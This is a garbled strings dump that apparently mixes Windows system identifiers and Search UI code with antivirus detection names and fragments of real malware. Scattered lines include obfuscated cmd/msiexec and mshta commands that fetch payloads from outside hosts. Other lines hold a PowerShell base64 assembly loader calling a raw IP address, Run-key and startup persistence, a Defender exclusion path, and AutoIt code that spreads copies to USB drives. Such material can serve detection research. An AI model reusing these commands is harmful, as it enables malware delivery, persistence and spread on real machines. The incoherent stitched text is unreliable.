.?AU?$consume_Windows_UI_Xaml_Controls_IDataTemplateSelector@UGroupableSettingTemplateSelector@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UGroupableSettingTemplateSelector@implementation@TaskManagerApp@winrt@@UIDataTemplateSelector@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IDataTemplateSelector2@UGroupableSettingTemplateSelector@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$producer_convert@UGroupableSettingTemplateSelector@implementation@TaskManagerApp@winrt@@UIDataTemplateSelectorOverrides2@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
hkcu:\software\microsoft\windows\currentversion\run
WindowsApps
	Citrix\System32\iexploreI
%windir%\system327
downloads.optimize-windows.netd
\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JavaUpdate.lnk"%s", RaitingSetupUIDll32.dllDll64.dll!#HSTR:Win32/Guloader.KBVP123!MTB
windir=C:\WINDOWS
,=wscript.createobject("wscript.shell")dimappdatawin7=objwshell.expandenvironmentstrings("%appdata%")winxp=objwshell.expandenvironmentstrings("%windir%\system32")a0218367812b"ht
Microsoft.Windows.Photos_8wekyb3d8bbwero
microsoft.windows.contentdeliverymanager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
windir=C:\WINDOWS
9P49LKR1V2Q5Expeditions: A MudRunner Game (Windows)https://store-images.s-microsoft.com/image/apps.1644.14597110433860134.e1b00ab2-df20-4549-ae9c-6d23606372a7.cac901f1-1098-414c-a8e4-2b3ad5c0d7a1de
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.A2
Microsoft.WindowsStore_8wekyb3d8bbwe!StoreCLI
Microsoft.WindowsAlarms_8wekyb3d8bbwe!App
Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy!Microsoft.Windows.XGpuEjectDialogdI
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy!FullTrustAppc@
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy!AppbE
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy!FullTrustAppaL
Microsoft.WindowsTerminal_8wekyb3d8bbwe!App
Microsoft.WindowsStore_8wekyb3d8bbwe!StoreDesktopExtension
Microsoft.WindowsStore_8wekyb3d8bbwe!App
Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe!App
Microsoft.WindowsNotepad_8wekyb3d8bbwe!App
Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe!App
Microsoft.WindowsCamera_8wekyb3d8bbwe!App
Microsoft.WindowsCalculator_8wekyb3d8bbwe!App
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.TextInputExtensions
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.RulesEngine
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.PersonaCardManager
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.PeopleWidget
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.PeopleExperiencePlatform
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.LockCanvas
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.IrisService
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.FeatureDiscoverability
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DragTray
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DesktopStickerEditor
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DesktopSpotlight
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.ActionUI.Common
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.ActionUI~=
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.Accounts}C
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.AccountDialog|8
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!FESearchUI{E
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DiscoveryHubWidgetHostz:
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DiscoveryHubyM
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DesktopStickerEditorCentennialxC
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CrossDeviceResumeAppwD
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CortanaUIFullTrustAppv7
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CortanaUIu;
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!ActionRuntimetC
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy!PackageMetadatas;
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy!InputApprN
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy!Global.TextInputExtensionsqC
MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy!PackageMetadatapN
MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy!Global.LiveCaptionsDesktopoC
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!PackageMetadatanL
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!Global.VoiceAccessPluginmJ
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!Global.VoiceAccessHostlT
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!Global.SpeechRecognizerExtensionkC
MicrosoftWindows.59336768.Speion_cw5n1h2txyewy!PackageMetadatajU
MicrosoftWindows.59336768.Speion_cw5n1h2txyewy!Global.SpeechSynthesizerExtensioniC
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy!PackageMetadatahB
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy!Global.TaskbargE
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy!Global.SystemTrayf9
Mozilla/5.0 (Windows NT 10.0; Win64; x
Mozilla/5.0 (Windows NT 10.0; Win64; x
Windows
  <DockWindows>
  </DockWindows>
  <FloatWindows Count="0" />
pyi-windows-manifest-filename client.exe.manifest
 "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V  "
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
.@Windows.Data.PlaceholderTile
 @Windows.Data.Common.Point
 @Windows.Data.Common.Size
 @Windows.Data.Common.Rect
 @Windows.Data.Common.Color
WINDOWS11
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows@@W4
Windows@7@Uhstring@7@W4SearchCore
microsoft.windows.camera.multipicker
microsoft.windows.camera
Microsoft.WindowsCamera_8wekyb3d8bbwe!App
WINDOWS11
c:\windows\system32\wscript.exe"~e.vol"/ai//e:vbscript/png/wma
WINDOWSRUNTIME
WindowsFeedbackProtocol
vision|ease of access color filters settings|color filters settings|dark colors|ease of access settings|accessibility|invert colors|change colors|make windows different colors|
audio accessibility|hear windows better|make windows louder|make computer louder|make pc louder|1
Windows Ink settings
pens|handedness|cursor|cursors|writing|write|workspace|pen shortcuts|handwrite|hand write|pen and windows ink settings|7
ext-ms-win-ntuser-windowstation-l1-1-0.dll
WINDOWS11
WINDOWS11
isEligibleWindowsActivY
7umerWindowsSKU
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
\aceprocted.sysHKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths!#HSTR:Trojan:MSIL/AgentTesla.SOB!MTB
-windowstylehidden-argumentlist
=get-content-path'c:\windows\temp\dll3.txt';[byte[]]$rowg=[system.convert]::frombase64string($fs);[reflection.assembly]::load($rowg).gettype('classlibrary2.class1').getmethod('execution').invoke($null,[object[]]('http://212.192.246.226/hfhfhgfghfghgf.txt'))
?"%ps_exec%"-windowstylehidden-executionpolicybypass-noprofile-command"[net.servicepointmanager]::securityprotocol=[net.securityprotocoltype]::tls12;$webclient=new-objectsystem.net.webclient;$webclient.downloadfile('https://
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
-windowstylehiddenset-execut
Windows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Windows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
isWindowsData
CredUIPromptForWindowsCredentialsW
-windows-i686-&
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.21
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.22
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.23
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.24
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.25
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.26
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.27
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.28
%cmd.exexerox/v/csta^rtms^iexeced^av^g^l=^m^v-^fv"http://m0.nu:8080/ywbulg/qrlhgarsgi84ybli8yd/k/!computername!"^r^ga^h^dxvxh=^x^em^n^ny/^q%windir%\system32\shell32.dll%
c:\windows\system32\cmd.exesharefinancez/v/csta^rtmsiexe^c/f^v"http://3z.nu:8080/bhatgpxymbos9/nd64vhzswws/!computername!"/^qn%windir%\system32\imageres.dll%systemroot%
\windows\system32\windowspowershell\v1.0\powershell.exe1"mshta.exehttp://miraistealer.xyz/exp/index.hta"c:\windows\system32\shell32.dll%systemroot%\system32\shell32.dll
c:\windows\system32\cmd.exed~/q/v/rstart^m^si^e^x^e^c^b^k=^gmp^ots/^q^n/^fv"http://q0.wf:8080/b4uiipa/q9bt8s00t5/oxryklczfolc6evzqrit/!computername!"shell32.dll%windir%
c:\windows\system32\cmd.exes/v/r^star^tm^s^ie^xec/^q^sb^d^w^w=ojs^x^uw/fv"http://q0.wf:8080/bzuuw3cye/9cmkwm9cyvh/vmg3k6hf/!computername!"%windir%\system32\shell32.dll%
c:\v1windows@.windowsz1system32b.system32v2cmd.exe@.cmd.exe--!*7`/d/v/rsta^rt^ms^i^exe^c/^q^u^iet-^f^v"http://3z.nu:8080/bzy/xirjwkzec/gymsgj/!computername!"shell32.dll
dir%\system32\vsocklib.dll
Close Windows SearchU
Windows Search needs permission to show results from your new search app.
Open Settings to manage the order of web search apps in Windows Search.
Get results in Windows Search from your new web search app
9c^com.microsoft.windows.extensionpackage
\system32\dllhost.exe
\Microsoft\Windows\Start Menu\Programs\Boost My PC\Boost My PC.lnk
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Boost My PC.exe
Microsoft.Windows.Health.TestInProduction
.?AV?$_Binder@U_Unforced@std@@P8UserActivityManager@implementation@UserActivities@ApplicationModel@WindowsUdk@winrt@@EAAX_KIV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@2@@ZPEAU345678@AEBU?$_Ph@$00@2@AEBU?$_Ph@$01@2@AEBU?$_Ph@$02@2@@std@@
.P6A_NAEBUShutdownUXOption@Shutdown@UI@Internal@Windows@winrt@@@Z
.?AV?$_Binder@U_Unforced@std@@P8DictationManager@implementation@Dictation@Input@UI@WindowsUdk@winrt@@EAAXG@ZPEAU3456789@AEBU?$_Ph@$00@2@@std@@
.?AV?$_Binder@U_Unforced@std@@P8DictationManager@implementation@Dictation@Input@UI@WindowsUdk@winrt@@EAAXXZPEAU3456789@@std@@
.?AV?$_Binder@U_Unforced@std@@P8DictationInputProcessor@implementation@Text@Input@UI@WindowsUdk@winrt@@EAAXXZPEAU3456789@@std@@
.?AV?$_Binder@U_Unforced@std@@P8DictationInputProcessor@implementation@Text@Input@UI@WindowsUdk@winrt@@EAAXG@ZPEAU3456789@AEBU?$_Ph@$00@2@@std@@
.?AU?$TypedEventHandler@UMenuItem@UI@WindowsUdk@winrt@@UMenuItemInvokedArgs@234@@Foundation@Windows@winrt@@
Microsoft.Windows.NetworkListManager
Microsoft.Windows.ConnectionManager.DataCollection
Microsoft.Windows.NetworkInformation
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.WiFiCloudStore
WINDOWS11       
__FIIterable_1___FIKeyValuePair_2_Windows__CFoundation__CUri_Windows__CStorage__CStorageFile
__FIIterator_1___FIKeyValuePair_2_Windows__CFoundation__CUri_Windows__CStorage__CStorageFile
__FIMap_2_Windows__CFoundation__CUri_Windows__CStorage__CStorageFile
__FIMapView_2_Windows__CFoundation__CUri_Windows__CStorage__CStorageFile
__FIKeyValuePair_2_Windows__CFoundation__CUri_Windows__CStorage__CStorageFile
DimeManager::GetDimeWindowSize
GetWindowSizeActivity
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
Microsoft.Windows.Shell.SystemTray
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
globalDiagnosticsFoundationLoggingChannelOptionsWindowsapplyctor2
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
 Windows
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-AssignedAccess-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-CoreSystem-RemoteFS-Client-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat|
Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Shared-5A906401B1801A9A7386214A3ABDA88E648A43CA49B6E45F42772F225063C8F6~31bf3856ad364e35~amd64~~10.0.26100.7298.cat|
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.CS
windowsudk.shellcommon.dll
="c:\windows\
='hkcu:\software\microsoft\windows\currentversion\explorer\S
puji susanto$ExitWindowsEx
Microsoft Windows
Windows-kenmerk-ervaringpak
41^windows.appExtension
41^windows.backgroundTasks
COMPUTERNAME=WINDOWS11
LOGONSERVER=\\WINDOWS11
USERDOMAIN=Windows11
SystemRoot=C:\WINDOWS
windir=C:\WINDOWS
index.windows.bundle
index.windows.bundle
Microsoft Windows
Windows-kenmerk-ervaringpak
Programas de Microsoft Windows
sticas de Windows
Microsoft Windows
Windows
 Windows
Windows 
Windows 
 Windows
Windows X
 Windows
ajki za Windows
stiques del Windows
mu Windows
Pecyn Profiad Nodwedd Windows
nsefladepakke med Windows-funktioner
Windows Feature Experience Pack
 Windows
Windowsi funktsiooni kasutajaliidese pakett
Windows-en eginbideen esperientzia-paketea
 Windows
Windowsin ominaisuuspaketti
Pack para sa Karanasan sa Feature ng Windows
s Windows
s Windows
 Windows
Pakiet Windows Feature Experience
ncia de Recursos do Windows
ncia de Funcionalidades do Windows
e de caracteristici Windows
 Windows
 Windowsu
enj s funkcijami sistema Windows
 Windows
Windows 
Paket iskustava sa funkcijama sistema Windows
r Windows-funktioner
Windows 
 Windows
 Windows
Windows 
Windows xususiyati tajriba paketi
ng Windows
Windows 
Windows 
Public\wsxpacks\StartMenu\index.windows.bundle
=[microsoft.windowsazure.commands	
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
WindowsOobeAppHost
OobeUpdateSettingsWindowsUpdateName
OobeUpdateSettingsWindowsUpdateDescription
WindowsOobeAppHost.manifest
WindowsOobeAppHost.AOT.pdb
WindowsOobeAppHost.AOT.dll
powershell-noprofile-executionpolicybypass-windowstylehidden-c$($
DriverData=C:\Windows\System32\
Windows is alles joune. Geniet dit!
Windows Webervaringgasheer
Microsoft Windows
Windows-kenmerk-ervaringpak
Windows buite die boks-ervaring
Windows Update
Laai outomaties Windows Updates af en installeer dit.
Hoe om bywerkingsinstellings vir Windows Update te verander
Outomatiese bywerkings vir Windows- en Microsoft Store-toepassings
Jy kan jou bywerkinginstellings enige tyd verander deur te gaan na Instellings &gt; Werk by &amp; Sekuriteit &gt; Windows Update &gt; Gevorderde opsies.
9N26S50LN705Windows File Recoveryhttps://store-images.s-microsoft.com/image/apps.19759.13962106574996230.bf0d4490-07ff-4c8a-860e-26399fb1a8fb.18380f7b-d8dc-4815-b8a3-c2cc75b8ace7en
9N26S50LN705Windows File Recoveryhttps://store-images.s-microsoft.com/image/apps.19759.13962106574996230.bf0d4490-07ff-4c8a-860e-26399fb1a8fb.18380f7b-d8dc-4815-b8a3-c2cc75b8ace7fr
9N26S50LN705Windows File Recoveryhttps://store-images.s-microsoft.com/image/apps.19759.13962106574996230.bf0d4490-07ff-4c8a-860e-26399fb1a8fb.18380f7b-d8dc-4815-b8a3-c2cc75b8ace7de
Windows.Zip.Action.svg
windows.unpinfromstartscreen.svg
windows.unpinfromhome.svg
windows.undo.svg
windows.thumbsup.svg
windows.thumbsdown.svg
windows.sticker.svg
Windows.SpotlightNextImage.svg
Windows.SpotlightImageLearnMore.svg
windows.sortbycolumn.svg
windows.showhiddenfiles.svg
windows.showfileextensions.svg
windows.showdes
3c:\windows\setup\searchifK
OS=Windows_NT
C:\WINDOWS\sysWOW64\wbem\wmiprvse.exe
,`""-windowstylehidden
powershell.exe-windowstylehidden-executionpolicybypass-command"&amp
Microsoft Windows
Windows-kenmerk-ervaringpak
s\system32
#s\system32/hzxfx:s4l5/hdga:mdlp/d/c"for%bin(ava)do
C:\ProgramData\Microsoft\Windows Defender\Scans\mpenginedb.db-shm
ng,notifyIconReadyOrFailed:r.notifyIconReadyOrFailed,groupInfo:r.group,where:r.where,index:s,topResult:!1,notifyImageGridThumbnailPending:r.notifyImageGridThumbnailPending,notifyImageGridThumbnailReady:r.notifyImageGridThumbnailReady});e.isFirst=!1;break;case 1:f=React.createElement(t.WindowsSuggestionThreeLines,{suggestion:u,contextMenuHandler:r.contextMenuHandler,clickHandler:r.clickHandler,openPreviewPaneButton:r.openPreviewPaneButton,isSearchHome:r.isSearchHome,topResult:!1,notifyIconPending:r.notifyIconPending,notifyIconReadyOrFailed:r.notifyIconReadyOrFailed,where:r.where});break;case 4:f=React.createElement(t.UpsellSuggestion,{suggestion:u,contextMenuHandler:r.contextMenuHandler,clickHandler:r.clickHandler,where:r.where});break;case 5:f=React.createElement("div",{className:`ds-card-container selectable ${u.selected?"sa_hv":""}`,title:u.text,onClick:n=>r.clickHandler(u,n.nativeEvent),id:u.id},React.createElement("div",{className:"ds-card-img",style:{backgroundImage:`url(${(o=u.icon)===null||o===void 0?void 0:o.content})`,maxWidth:"100%"}}),React.createElement("div",{className:"ds-card-title"},u.text));break;case 2:f=React.createElement(t.WindowsSuggestionCollapsible,{isFirst:e.isFirst,suggestion:u,contextMenuHandler:r.contextMenuHandler,clickHandler:r.clickHandler,openPreviewPaneButton:r.openPreviewPaneButton,isSearchHome:r.isSearchHome,webSuggestionAnnotation:r.webSuggestionAnnotation,notifyIconPending:r.notifyIconPending,notifyIconReadyOrFailed:r.notifyIconReadyOrFailed,groupInfo:r.group,where:r.where,isExpanded:!1,index:s})}return f},o=i=>{const r=n.Host.getLocString("SearchInFileExplorer");return React.createElement("div",{id:"searchInFileExplorerButton",className:t.classNames("sectionItem selectable photosSearchInFileExplorer"),onClick:n=>i.clickHandler(i.query,n.nativeEvent),role:"button",tabIndex:-1,"aria-label":r,"data-partnertag":t.whenTestHooks("AutoSuggest.SearchInFileExplorerButton")},React.createElement("span",null,React.createElement(t.Icon,{icon:{content:"&#xE8A7",type:2}})),React.createElement("div",{className:"secondaryText details"},r))}})(t=n.View||(n.View={}))}(WSB||(WSB={})),function(n){var t;(function(t){function i(n){var t;return((t=n.cssClasses)===null||t===void 0?void 0:t.indexOf("colRight"))>=0}class u extends t.DynamicHeightView{constructor(){super(...arguments);this.shouldComponentUpdate=(t,i)=>!n.config.reactGroups||n.shouldComponentUpdateOverload(this,t,i)}render(){const{groups:t}=this.props,r=(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isQwsEnabled())&&t.findIndex(n=>i(n))>=0||(n.canShowAnaheimWin11ZITopSites()||n.canShowBingPopularQueries())&&t.findIndex(n=>i(n))>=0;return r?this.renderTwoColumns():this.renderOriginal()}renderOriginal(){var c;const{groups:u,scope:a,isWorkScopeZI:b,clickHandler:k,contextMenuHandler:d,openPreviewPaneButton:v,isSearchHome:g,webSuggestionAnnotation:nt,deleteMRUButtonCallback:y,notifyIconPending:tt,notifyIconReadyOrFailed:it,updateFullyExpandState:rt,scrollTo:ut,copilotGreetingData:i,queryToFetch:ft,photosSearchInFileExplorerClickHandler:et,notifyImageGridThumbnailPending:ot,notifyImageGridThumbnailReady:st}=this.props,l=a===n.Scope.Work,o=l&&!b,p=n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isWorkScopeListViewEnabled();let f;o&&(f=u.findIndex(t=>t.type===n.GroupType.SearchSuggestions||t.type===n.GroupType.Related));let s=n.isTwoPanesZIEnabled()&&u.findIndex(t=>t.type===n.GroupType.Upsell)>-1?"withUpsellContainer":"",h=[],w;o&&f>-1&&((c=u[f].suggestions[0])===null||c===void 0?void 0:c.handoffType)===21&&(h=u[f].suggestions[0].childSuggestions||u[f].suggestions,s=s?`${s} groupsWithWorkSubVerticalsPills`:"groupsWithWorkSubVerticalsPills",h.length>0&&(w={group:u[f],suggestions:h,openPreviewPaneButton:v,hasQfSuggestions:!(u.length>1),updateFullyExpandState:rt,scrollTo:ut,isEdu:n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.isEduTenant()}));let e;return React.createElement(React.Fragment,null,React.createElement("div",{"data-partnertag":t.whenTestHooks("AutoSuggest.GroupContainer"),"data-region":"Groups",className:t@
Microsoft.OutlookForWindows_8wekyb3d8bbwe!Microsoft.OutlookforWindowsapp:immersive2026-02-21 11:16:392026-02-21 11:16:39
\microsoft\windows\currentversion\runbcdefghi8921306qrstuvwxyz547jklmnopawxyz9213065478fghijklmabcdenopqrstuvPendingFileRenameOperationssystem\currentcontrolset\control\session manager
@FILECOPY ( @SCRIPTFULLPATH , @APPDATADIR & "/Windows Photo Viewer.exe" , $FC_OVERWRITE + $FC_CREATEPATHF
FILECREATESHORTCUT ( @APPDATADIR & "/Windows Photo Viewer.exe" , @STARTUPDIR & "\Windows Photo Viewer.lnkF
FILECOPY ( @APPDATADIR & "/Windows Photo Viewer.exe" , $USB [ $I ] & "/IMG_3325.exe" , $FC_OVERWRITE + $FC_CREATEPATHF
https://m.mingle2.com/1.2.make_knock_onlyMTQzMjQ0MTU6OjoOcrsGLoM=Njc4NTUxODQ6OjppSkotPzvK3w6LAmIN1A==setJavaScriptCanOpenWindowsAutomaticallyTrojan:PDF/Phish.SMD!MTB
APPDATA=C:\WINDOWS\ServiceProfiles\LocalService\AppData\Roaming
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\SERVIC~1\LOCALS~1\AppData\Local\Temp
TMP=C:\WINDOWS\SERVIC~1\LOCALS~1\AppData\Local\Temp
USERPROFILE=C:\WINDOWS\ServiceProfiles\LocalService
windir=C:\WINDOWS
!AGroup:OpenProcess_Common_Windows_
DriverData=C:\Windows\System32\
%\WindowsPowerShell\,
s;C:\WINDOWS\system32.
_nd":"response","result":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Suggestions"}.0}
9PC49MD70881FocusHomeInteractiveSA.EvilWest-Windows_4hny5m903y3g0Focus Entertainment
.Windows.CloudExperienceHost
.Windows.CloudExperienceHost_cw5n1h2txyewy!Appa
WindowsFeedbackForm
windows.fileTypeAssociation
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!!
windows.fileTypeAssociation
windows11(
DriverData=C:\Windows\System32\
VCOMPONENT_INSTALLER_DIR=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
how many windows and tabs appear on Alt+Tab
Microsoft.Windows.Storage.StorportNotification
Microsoft.Windows.Storage.StorportOnDemandData
Microsoft.Windows.Storage.Storport
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.XGpuEjectDialogSRD1
 Windows 
 Windows 
rWindows
ies: skylines - windows 10}
c:\windows\system32\plugacef.dllCaixa EconUSER..: SENHA.: conteudo=-
\drivers\vmmouse.sys !.\sDOasdf456565634645.mixcrtSOFTWARE\KasperskyLab\AVP6SOFTWARE\KasperskyLab\AVP7dyqmnsds/dyd\system32\drivers\gmreadme.txtSOFTWARE\KasperskyLab\protected\AVP8\
`.usdfdf5\system32\drivers\sdtr.sysSOFTWARE\KasperskyLab\protected\AVP7
\windows\currentversion\run"/v"
system32<2
WindowsFormsApp1.Properties.Resources.resource
temRoot%\system32\mathFragment@Odfs@@QEBA_NXZ
\HarddiskVolume3\Windows\System32\conhost.ex
2deletefiledos.bat&bank=windows\system32\
windows\system32\
windows\system32\
winlogon.exe
winlogon.exe
winlogon.exe
\SystemRoot\system32\wsys.dllh.dllhwsysTIoDeleteSymbolicLink
28^WindowsBackup
.?AU?$__abi_FunctorCapture@V<lambda_0b44ee885c363d7634cafe6f43b1e65e>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
